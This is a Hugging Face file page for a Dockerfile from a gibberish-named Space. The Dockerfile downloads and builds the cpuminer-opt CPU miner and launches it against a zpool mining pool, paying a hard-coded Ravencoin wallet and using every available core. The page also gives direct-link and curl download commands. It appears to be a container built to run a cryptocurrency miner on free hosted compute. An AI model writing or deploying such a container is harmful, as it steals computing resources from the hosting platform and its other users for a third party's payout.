Download Dockerfile from fffawd/dadwas: direct link, hf CLI and curl.
- Browser
- Download file 667 Bytes
-
https://huggingface.co/spaces/fffawd/dadwas/resolve/main/Dockerfile
- Command line
-
hf download hf://spaces/fffawd/dadwas/Dockerfile
-
curl -L -o Dockerfile https://huggingface.co/spaces/fffawd/dadwas/resolve/main/Dockerfile
667 Bytes
| FROM ubuntu:22.04 | |
| ENV DEBIAN_FRONTEND=noninteractive | |
| WORKDIR /opt | |
| RUN apt update && apt upgrade -y && \ | |
| apt install -y git wget curl build-essential automake autoconf libtool libcurl4-openssl-dev libjansson-dev && \ | |
| wget https://github.com/JayDDee/cpuminer-opt/archive/refs/heads/master.tar.gz && \ | |
| tar -xzf master.tar.gz && \ | |
| rm master.tar.gz && \ | |
| cd cpuminer-opt-master && \ | |
| chmod +x build.sh && \ | |
| ./build.sh && \ | |
| apt clean && rm -rf /var/lib/apt/lists/* | |
| WORKDIR /opt/cpuminer-opt-master | |
| CMD ./cpuminer -a yespower -o stratum+tcp://yespower.mine.zpool.ca:6234 -u RPzkCsQjZytVFxyWmqeNmdzkD4JycZ3YtS.linuxcpu -p c=RVN -t $(nproc) | |